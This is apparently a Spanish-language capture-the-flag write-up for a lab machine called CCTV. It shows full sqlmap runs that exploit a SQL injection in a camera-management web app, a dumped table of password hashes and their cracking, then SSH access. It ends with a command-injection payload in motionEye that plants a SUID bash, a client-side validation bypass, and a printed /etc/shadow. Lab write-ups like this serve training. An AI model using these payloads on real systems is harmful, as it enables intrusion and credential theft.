Informacion de la Maquina
En CCTV se exploto una vulnerabilidad de Inyeccion SQL en ZeroMinder lo que permitio filtrar credenciales para el acceso por SSH. Localmente corria motionEye, el archivo de configuracion de este almacenaba el hash del usuario admin, con esta se realizo la explotacion de una vulnerabilidad para escalar privilegios.
Recon
nmap
nmap muestra multiples puertos abiertos: http (80) y ssh (22).
1# Nmap 7.95 scan initiated Sat Mar 7 23:04:24 2026 as: /usr/lib/nmap/nmap --privileged -p22,80 -sV -sC -oN nmap_scan 10.129.2.113
2Nmap scan report for 10.129.2.113
3Host is up (0.067s latency).
4
5PORT STATE SERVICE VERSION
622/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.14 (Ubuntu Linux; protocol 2.0)
7| ssh-hostkey:
8|_ 256 76:1d:73:98:fa:05:f7:0b:04:c2:3b:c4:7d:e6:db:4a (ECDSA)
980/tcp open http Apache httpd 2.4.58
10|_http-title: Did not follow redirect to http://cctv.htb/
11Service Info: Host: default; OS: Linux; CPE: cpe:/o:linux:linux_kernel
12
13Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
14# Nmap done at Sat Mar 7 23:05:05 2026 -- 1 IP address (1 host up) scanned in 40.45 secondsWeb Site
El sitio web nos redirige al dominio cctv.htb el cual agregamos al archivo /etc/hosts.
1❯ curl -sI 10.129.2.113
2HTTP/1.1 302 Found
3Date: Sun, 08 Mar 2026 05:07:02 GMT
4Server: Apache/2.4.58 (Ubuntu)
5Location: http://cctv.htb/
6Content-Type: text/html; charset=iso-8859-1
7
8❯El sitio se presenta con servicios de monitoreo.

El boton de ‘Staff Login’ muestra el login para ZeroMinder.

ZeroMinder
Las credenciales por default admin:admin permiten el acceso, observamos que la version es v1.37.63.

En Options > Users se indican tres usuarios.

SQL Injection
En el repositorio encontramos multiples vulnerabilidades. Una de estas es Boolean-based SQL Injection la cual afecta a la version de la maquina v1.37.63 especificamente en el parametro tid. Ejecutamos sqlmap especificando la cookie y el parametro. Este identifico time-based blind ademas del Boolean-Based. Logro enumerar tres bases de datos.
1❯ sqlmap -u 'http://cctv.htb/zm/index.php?view=request&request=event&action=removetag&tid=1' -H 'Cookie: ZMSESSID=3ab7p49ft0quj1cbh7fl9mmefa' -p tid --dbs --batch
2 ___
3 __H__
4 ___ ___[.]_____ ___ ___ {1.9.10#stable}
5|_ -| . ["] | .'| . |
6|___|_ [,]_|_|_|__,| _|
7 |_|V... |_| https://sqlmap.org
8
9[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
10
11[*] starting @ 23:19:24 /2026-03-07/
12
13[23:19:24] [INFO] testing connection to the target URL
14[23:19:24] [INFO] testing if the target URL content is stable
15[23:19:24] [INFO] target URL content is stable
16[23:19:25] [WARNING] heuristic (basic) test shows that GET parameter 'tid' might not be injectable
17[23:19:25] [INFO] testing for SQL injection on GET parameter 'tid'
18[23:19:25] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
19[23:19:26] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
20[23:19:26] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
21[23:19:26] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
22[23:19:27] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'
23[23:19:28] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
24[23:19:28] [INFO] testing 'Generic inline queries'
25[23:19:28] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
26[23:19:29] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'
27[23:19:29] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)'
28[23:19:29] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
29[23:19:40] [INFO] GET parameter 'tid' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
30it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
31for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y
32[23:19:40] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
33[23:19:40] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
34[23:19:42] [INFO] target URL appears to be UNION injectable with 4 columns
35injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] Y
36[23:19:45] [WARNING] if UNION based SQL injection is not detected, please consider forcing the back-end DBMS (e.g. '--dbms=mysql')
37[23:19:45] [INFO] checking if the injection point on GET parameter 'tid' is a false positive
38GET parameter 'tid' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
39sqlmap identified the following injection point(s) with a total of 110 HTTP(s) requests:
40---
41Parameter: tid (GET)
42 Type: time-based blind
43 Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
44 Payload: view=request&request=event&action=removetag&tid=1 AND (SELECT 4693 FROM (SELECT(SLEEP(5)))jmoT)
45---
46[23:20:06] [INFO] the back-end DBMS is MySQL
47[23:20:06] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
48web server operating system: Linux Ubuntu
49web application technology: Apache 2.4.58
50back-end DBMS: MySQL >= 5.0.12
51[23:20:07] [INFO] fetching database names
52[23:20:07] [INFO] fetching number of databases
53[23:20:07] [INFO] retrieved:
54do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y
55[23:20:22] [INFO] adjusting time delay to 1 second due to good response times
563
57[23:20:23] [INFO] retrieved: information_schema
58[23:21:36] [INFO] retrieved: performance_sche
59[23:22:52] [ERROR] invalid character detected. retrying..
60[23:22:52] [WARNING] increasing time delay to 2 seconds
61ma
62[23:23:02] [INFO] retrieved: zm
63available databases [3]:
64[*] information_schema
65[*] performance_schema
66[*] zm
67
68[23:23:20] [WARNING] HTTP error codes detected during run:
69500 (Internal Server Error) - 385 times
70[23:23:20] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/cctv.htb'
71
72[*] ending @ 23:23:20 /2026-03-07/
73
74❯ Segun la tabla Users existen las columnas Username y Password, en esta ultima se almacenan hashes de contrasenas bcrypt. Basados en esto ejecutamos nuevamente para realizar un ‘dump’ de credenciales.
1❯ sqlmap -u 'http://cctv.htb/zm/index.php?view=request&request=event&action=removetag&tid=1' -H 'Cookie: zmSkin=classic; zmCSS=base; ZMSESSID=qb1i5ieruqatbt6hlba7cfclsj;' -p tid -D zm -T Users -C Username,Password --dump --batch
2 ___
3 __H__
4 ___ ___[.]_____ ___ ___ {1.9.10#stable}
5|_ -| . [,] | .'| . |
6|___|_ [']_|_|_|__,| _|
7 |_|V... |_| https://sqlmap.org
8
9# [... skip ... ]
10Database: zm
11Table: Users
12[3 entries]
13+------------+--------------------------------------------------------------+
14| Username | Password |
15+------------+--------------------------------------------------------------+
16| superadmin | $2y$10$cmytVWFRnt1XfqsItsJRVe/ApxWxcIFQcURnm5N.rhlULwM0jrtbm |
17| mark | $2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG. |
18| admin | $2y$10$t5z8uIT.n9uCdHCNidcLf.39T1Ui9nrlCkdXrzJMnJgkTiAvRUM6m |
19+------------+--------------------------------------------------------------+
20
21[00:40:00] [INFO] table 'zm.Users' dumped to CSV file '/home/kali/.local/share/sqlmap/output/cctv.htb/dump/zm/Users.csv'
22[00:40:00] [WARNING] HTTP error codes detected during run:
23500 (Internal Server Error) - 1671 times
24[00:40:00] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/cctv.htb'
25
26[*] ending @ 00:40:00 /2026-03-08/
27
28❯Cracking the Hash
Ejecutamos hashcat con el wordlist rockyou.txt sobre el archivo de hash.
1PS C:\Users\sckull\Documents\github\hashcat-7.1.2> .\hashcat.exe -m 3200 .\cctv_hashes.txt .\rockyou.txt
2hashcat (v7.1.2) starting
3
4# [... skip ...]
5
6Dictionary cache hit:
7* Filename..: .\rockyou.txt
8* Passwords.: 14344385
9* Bytes.....: 139921507
10* Keyspace..: 14344385
11
12# [... skip ...]
13
14$2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG.:opensesame
15$2y$10$t5z8uIT.n9uCdHCNidcLf.39T1Ui9nrlCkdXrzJMnJgkTiAvRUM6m:admin
16[s]tatus [p]ause [b]ypass [c]heckpoint [f]inish [q]uit =>User - Mark
Utilizamos el par de credenciales de mark por SSH logrando el acceso.
1❯ ssh mark@cctv.htb
2The authenticity of host 'cctv.htb (10.129.2.113)' can't be established.
3ED25519 key fingerprint is: SHA256:KrrHjS+nu1wJEfv1/NxT1fI+ODJaSRdJtFg201G+tO0
4This key is not known by any other names.
5Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
6Warning: Permanently added 'cctv.htb' (ED25519) to the list of known hosts.
7mark@cctv.htb's password:
8Welcome to Ubuntu 24.04.4 LTS (GNU/Linux 6.8.0-101-generic x86_64)
9
10 * Documentation: https://help.ubuntu.com
11 * Management: https://landscape.canonical.com
12 * Support: https://ubuntu.com/pro
13
14 System information as of Sun 8 Mar 06:48:18 UTC 2026
15
16 System load: 0.21
17 Usage of /: 74.5% of 8.70GB
18 Memory usage: 42%
19 Swap usage: 0%
20 Processes: 314
21 Users logged in: 0
22 IPv4 address for eth0: 10.129.2.113
23 IPv6 address for eth0: dead:beef::250:56ff:feb0:849b
24
25
26Expanded Security Maintenance for Applications is not enabled.
27
280 updates can be applied immediately.
29
3014 additional security updates can be applied with ESM Apps.
31Learn more about enabling ESM Apps service at https://ubuntu.com/esm
32
33mark@cctv:~$ whoami;id;pwd
34mark
35uid=1000(mark) gid=1000(mark) groups=1000(mark),24(cdrom),30(dip),46(plugdev)
36/home/mark
37mark@cctv:~$Privesc
Localmente existen varios puertos a la escucha en uno de ellos se indica Motion 4.7.1 en otro motionEye/0.43.1b4, este ultimo se refiere al monitor de camaras motionEye.
1mark@cctv:/etc/apache2$ netstat -ntpl
2Active Internet connections (only servers)
3Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
4tcp 0 0 127.0.0.1:7999 0.0.0.0:* LISTEN -
5tcp 0 0 127.0.0.1:1935 0.0.0.0:* LISTEN -
6tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
7tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN -
8tcp 0 0 127.0.0.1:8765 0.0.0.0:* LISTEN -
9tcp 0 0 127.0.0.1:8888 0.0.0.0:* LISTEN -
10tcp 0 0 127.0.0.1:9081 0.0.0.0:* LISTEN -
11tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
12tcp 0 0 127.0.0.54:53 0.0.0.0:* LISTEN -
13tcp 0 0 127.0.0.1:8554 0.0.0.0:* LISTEN -
14tcp 0 0 127.0.0.1:33060 0.0.0.0:* LISTEN -
15tcp6 0 0 :::22 :::* LISTEN -
16tcp6 0 0 :::80 :::* LISTEN -
17mark@cctv:/etc/apache2$ curl 127.0.0.1:7999
18Motion 4.7.1 Running [1] Camera
191
20mark@cctv:/etc/apache2$ curl -sI 127.0.0.1:8765
21HTTP/1.1 200 OK
22Server: motionEye/0.43.1b4
23Content-Type: text/html; charset=UTF-8
24Date: Sun, 08 Mar 2026 07:07:39 GMT
25Etag: "da39a3ee5e6b4b0d3255bfef95601890afd80709"
26Content-Length: 0
27
28mark@cctv:/etc/apache2$Motioneye
En el repositorio se indica una vulnerabilidad: RCE via unsanitized motion config parameter in motionEye. La causa es la inexistencia de sanitizacion en valores manipulados por el usuario.
Local Port Forwarding
Obtuvmos el puerto 8765 localmente.
1❯ ssh mark@cctv.htb -L 8765:127.0.0.1:8765 -fN
2mark@cctv.htb's password:
3❯ netstat -ntpl | grep 8765
4(Not all processes could be identified, non-owned process info
5 will not be shown, you would have to be root to see it all.)
6tcp 0 0 127.0.0.1:8765 0.0.0.0:* LISTEN 100765/ssh
7tcp6 0 0 ::1:8765 :::* LISTEN 100765/ssh
8❯Las credenciales por default no permiten el acceso.

En el archivo de configuracion /etc/motioneye/motion.conf encontramos el hash para el usuario admin.
1mark@cctv:/etc/motioneye$ ls -lah
2total 28K
3drwxr-xr-x 2 motion motion 4.0K Nov 7 23:40 .
4drwxr-xr-x 141 root root 12K Mar 2 10:05 ..
5-rw-r--r-- 1 motion motion 2.3K Nov 8 01:16 camera-1.conf
6-rw-r--r-- 1 motion motion 278 Nov 8 01:16 motion.conf
7-rw-r--r-- 1 motion motion 3.0K Nov 7 22:46 motioneye.conf
8mark@cctv:/etc/motioneye$ cat motion.conf
9# @admin_username admin
10# @normal_username user
11# @admin_password 989c5a8ee87a0e9521ec81a79187d162109282f0
12# @lang en
13# @enabled on
14# @normal_password
15
16
17setup_mode off
18webcontrol_port 7999
19webcontrol_interface 1
20webcontrol_localhost on
21webcontrol_parms 2
22
23camera camera-1.conf
24mark@cctv:/etc/motioneye$El hash es aceptado como contrasena y permite el acceso.

RCE - Cve-2025-60787
Para la explotacion agregamos una nueva camara tomando los valores de la ya existente.

El comando a ejecutar realiza una copia de bash con permisos SUID.
1# CMD
2$(python3 -c "import os;os.system('cp /usr/bin/bash /usr/bin/sc; chmod u+s /usr/bin/sc')").%Y-%m-%d-%H-%M-%SSe sobreescribe la funcion de validacion con la herramienta para desarroladores.
1configUiValid = function() { return true; };Asignamos nuestro comando en Still Images y guardamos.

Verificamos que se realizo ejecucion del comando. Ejecutamos la copia de bash en modo privilegiado -p para el acceso root y, las flags user.txt y root.txt.
1mark@cctv:/etc/motioneye$ ls -lah /usr/bin/sc
2-rwsr-xr-x 1 root root 1.4M Mar 8 07:51 /usr/bin/sc
3mark@cctv:/etc/motioneye$ /usr/bin/sc -p
4sc-5.2# whoami;id
5root
6uid=1000(mark) gid=1000(mark) euid=0(root) groups=1000(mark),24(cdrom),30(dip),46(plugdev)
7sc-5.2# cd /root
8sc-5.2# ls
9clean_logs.sh docker-binaries files root.txt snap
10sc-5.2# cat root.txt
11ef945d7c31fb457229f717bd8da0fc33
12sc-5.2# cat /home/sa_mark/user.txt
1396c5fd723fe1059e9bcdb5136925b892
14sc-5.2#Loot
Realizamos la lectura del archivo /etc/shadow.
1sc-5.2# cat /etc/shadow
2root:$y$j9T$yA2tQ1NiQFodczsDATtiZ1$3FOGPUX6xT.w9C0RgfE.h7ed9bKq68IV3ydkAXzT989:20399:0:99999:7:::
3daemon:*:20305:0:99999:7:::
4bin:*:20305:0:99999:7:::
5sys:*:20305:0:99999:7:::
6sync:*:20305:0:99999:7:::
7games:*:20305:0:99999:7:::
8man:*:20305:0:99999:7:::
9lp:*:20305:0:99999:7:::
10mail:*:20305:0:99999:7:::
11news:*:20305:0:99999:7:::
12uucp:*:20305:0:99999:7:::
13proxy:*:20305:0:99999:7:::
14www-data:*:20305:0:99999:7:::
15backup:*:20305:0:99999:7:::
16list:*:20305:0:99999:7:::
17irc:*:20305:0:99999:7:::
18_apt:*:20305:0:99999:7:::
19nobody:*:20305:0:99999:7:::
20systemd-network:!*:20305::::::
21systemd-timesync:!*:20305::::::
22messagebus:!:20305::::::
23systemd-resolve:!*:20305::::::
24pollinate:!:20305::::::
25polkitd:!*:20305::::::
26syslog:!:20305::::::
27uuidd:!:20305::::::
28tcpdump:!:20305::::::
29tss:!:20305::::::
30landscape:!:20305::::::
31fwupd-refresh:!*:20305::::::
32usbmux:!:20344::::::
33sshd:!:20344::::::
34mark:$y$j9T$FdppU.RZC1znPbo5fOl/G/$udWuXBB/7yzlzqm/4MKMWaFTmmeI6DUy.BvTbl4z2wB:20344:0:99999:7:::
35dnsmasq:!:20344::::::
36sa_mark:$y$j9T$DaLfNZ5N2pMjJMReb.im8.$am6fl6MDBtEv/l0MCDczgfeZd.FTovuV15MuUikaKu5:20344:0:99999:7:::
37mysql:!:20344::::::
38postfix:!:20384::::::
39motion:!:20399::::::
40_laurel:!:20497::::::
41dhcpcd:!:20514::::::
42sc-5.2#
